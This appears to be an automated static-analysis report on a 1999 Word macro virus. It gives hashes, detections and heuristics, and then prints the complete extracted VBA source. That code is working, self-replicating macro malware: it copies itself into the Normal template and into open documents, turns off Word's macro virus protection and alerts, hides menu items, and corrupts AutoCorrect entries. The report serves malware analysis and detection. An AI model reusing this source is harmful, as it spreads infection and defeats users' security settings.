Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a7655f04818d2694…

MALICIOUS

Office (OLE)

45.0 KB Created: 1999-06-10 10:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ad48ebc07ef3edcb6a5b51d4d8efd3e9 SHA-1: 3b96a29a991554d489d53f3e38db496b876c89a2 SHA-256: a7655f04818d2694ac57a32a8d99db5d5804bb6c9ee56ee31509ceb2e83facac
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close functions, which are commonly used to execute malicious code upon document opening. The script attempts to disable security features like VirusProtection and BlueScreen, and includes a hardcoded email address which may be used for command and control or further distribution. The ClamAV detection 'Doc.Trojan.VMPCK1-16' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.VMPCK1-16 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.VMPCK1-16
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6257 bytes
SHA-256: e367dd7efe19327e1b9611277f8e62b94e3411adb154aa5e1c008ddd7447ebb6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "colorinm"
Sub AutoExec()
Options.VirusProtection = False
End Sub
Sub AutoOpen()
Dim c As Byte
On Error Resume Next
Application.VBE.Mainwindow.Close
Options.VirusProtection = 0
Application.EnableCancelKey = 0
Application.ScreenUpdating = 0
Application.DisplayAlerts = 0
inf
CommandBars("Control Toolbox").Enabled = 0
CommandBars("Tools").Controls(14).Enabled = 0
CommandBars("Tools").Controls(15).Enabled = 0
CommandBars("View").Controls(6).Enabled = 0
CommandBars("Edit").Controls(9).Enabled = 0
CommandBars("Tools").Controls(5).OnAction = "oculta1"
CommandBars("Tools").Controls(16).OnAction = "oculta2"
ActiveDocument.Variables.Add Name:="activo"
If Minute((Now)) >= 56 Or Minute((Now)) <= 3 Then
                                ActiveDocument.Variables("activo") = "si"
                                Options.BlueScreen = True
                                agrega
Else: ActiveDocument.Variables("activo") = "no"
End If
End Sub
Sub inf()
Application.EnableCancelKey = 0
On Error Resume Next
    If Nch = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="colorinm", Object:=wdOrganizerObjectProjectItems
        ActiveDocument.BuiltInDocumentProperties(wdPropertyComments) = "Comentarios, sugerencias, insultos?:" + vbCr + "a a b b c d e @ y a h o o . c o m"
    End If
    If Dch = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="colorinm", Object:=wdOrganizerObjectProjectItems
    End If
End Sub
Function Nch()
Dim i As Byte
    For i = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(i).Name = "colorinm" Then Nch = True
    Next
End Function
Function Dch()
Dim j As Byte
    For j = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(j).Name = "colorinm" Then Dch = True
    Next
End Function
Sub oculta1()
If ActiveDocument.Variables("activo").Value = "si" Then
            borrador
            Word.Dialogs.Item(wdDialogToolsAutoManager).Show
            agrega
    Else: Word.Dialogs.Item(wdDialogToolsAutoManager).Show
End If
End Sub
Sub oculta2()
aparentes
Word.Dialogs.Item(wdDialogToolsOptions).Show
reales
End Sub
Sub agrega()
Attribute agrega.VB_Description = "Macro grabada el 24/08/98 por MINIPHONE"
Attribute agrega.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.final"
Dim letra, color
    Selection.ParagraphFormat.Alignment = wdAlignParagraphLeft
    For vez = 1 To 18
    Select Case vez
            Case 1
                letra = "a"
                color = 7
            Case 2
                letra = "o"
                color = 3
            Case 3
                letra = "y"
                color = 6
            Case 4
                letra = "de"
                color = 7
            Case 5
                letra = "en"
                color = 4
            Case 6
                letra = "que"
                color = 3
            Case 7
                letra = "la"
                color = 6
            Case 8
                letra = "los"
                color = 5
            Case 9
                letra = "las"
                color = 4
            Case 10
                letra = "le"
                color = 5
            Case 11
                letra = "se"
                color = 7
            Case 12
                letra = "ya"
                color = 5
            Case 13
                letra = "no"
                color = 7
            Case 14
                letra = "lo"
                color = 4
            Case 15
                letra = "un"
                color = 3
            Case 16
                letra = "con"
                color = 6
            Case 17
                letra = "si"
                color = 3
            Case 18
                letra = "es"
                color = 3
          End Select
    With Selection
            .Font.ColorIndex = color
            .TypeText Text:=letra
            .MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
    End With
    autocorrect.Entries.AddRichText Name:=letra, Range:=Selection.Range
 Next vez
 autocorrect.ReplaceText = True
 With Selection
    .Delete
    .Font.ColorIndex = wdAuto
    .Font.Name = "Times New Roman"
    .Font.Size = 112
 End With
End Sub
Sub borrador()
Attribute borrador.VB_Description = "Macro grabada el 24/08/98 por MINIPHONE"
Attribute borrador.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro1asasa"
On Error Resume Next
autocorrect.ReplaceText = 0
With autocorrect.Entries
.Item("a").Delete
.Item("o").Delete
.Item("y").Delete
.Item("de").Delete
.Item("en").Delete
.Item("que").Delete
.Item("la").Delete
.Item("los").Delete
.Item("las").Delete
.Item("le").Delete
.Item("se").Delete
.Item("ya").Delete
.Item("no").Delete
.Item("lo").Delete
.Item("un").Delete
.Item("con").Delete
.Item("si").Delete
.Item("es").Delete
End With
End Sub
Sub aparentes()
    With Options
        .VirusProtection = 1
        .SaveNormalPrompt = 1
    End With
End Sub
Sub reales()
On Error Resume Next
    If ActiveDocument.Variables("activo").Value = "si" Then Options.BlueScreen = True
    With Options
        .AllowFastSave = 1
        .VirusProtection = 0
        .SavePropertiesPrompt = 0
        .SaveNormalPrompt = 0
    End With
End Sub
Sub chau()
If ActiveDocument.Variables("activo").Value = "si" Then
        borrador
        Options.BlueScreen = 0
    End If
        ActiveDocument.Variables("activo").Delete
        Options.VirusProtection = 0
End Sub
Sub Toolsmacro()
End Sub
Sub ViewVBCode()
End Sub
Sub AutoClose()
inf
chau
End Sub
Sub FileSave()
inf
ActiveDocument.Save
End Sub
Sub AutoExit()
inf
chau
End Sub
Sub FileSaveas()
inf
Dialogs(wdDialogFileSaveAs).Show
End Sub

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